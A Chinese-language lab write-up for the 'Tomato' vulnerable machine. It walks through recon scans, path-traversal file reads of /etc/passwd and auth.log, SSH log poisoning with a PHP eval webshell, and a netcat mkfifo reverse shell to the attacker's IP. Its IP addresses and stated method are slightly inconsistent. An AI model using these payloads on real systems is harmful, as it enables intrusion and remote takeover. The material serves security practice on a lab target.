Tomato靶机~文件包含日志

寻找网站上传点并把 php 恶意代码文件改成 jpg 上传到网站上在本地包含引入恶意代码，当文件被引入后代码就被执行；

0x01信息收集

# 环境准备：
Target IP：192.168.66.143
Attack IP：192.168.66.84
靶机目标：Tomato
// 这里需要注意靶机本身环境是桥接模式，我们需要给它换成NAT模式

# 扫描网段
arp-sacn -l

# 对靶机192.168.66.143端口扫描
nmap 192.168.66.143

# 目录扫描
dirsearch -u "http://192.168.66.143"
dirb "http://192.168.66.143"

0x02漏洞发现

发现有文件上传的漏洞

# 由于是linux系统，我们尝试看一下passwd文件
http://192.168.66.143/antibot_image/antibots/info.php?image=../../../../../../../etc/passwd

# 我们再看一下它的日志
http://192.168.66.143/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log

0x03反弹shell

# 我们尝试写一句话木马 ，进行反弹
ssh '<?php phpinfo();eval($_POST['sss']);?>'@192.168.66.143

# 使用中国蚁剑连接

# 连接终端

# 在kali上开个监听
nc -lvvp 9999 

# 反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.66.128 9999 >/tmp/f
// IP是攻击机的

好小子，离成功又近一步！！！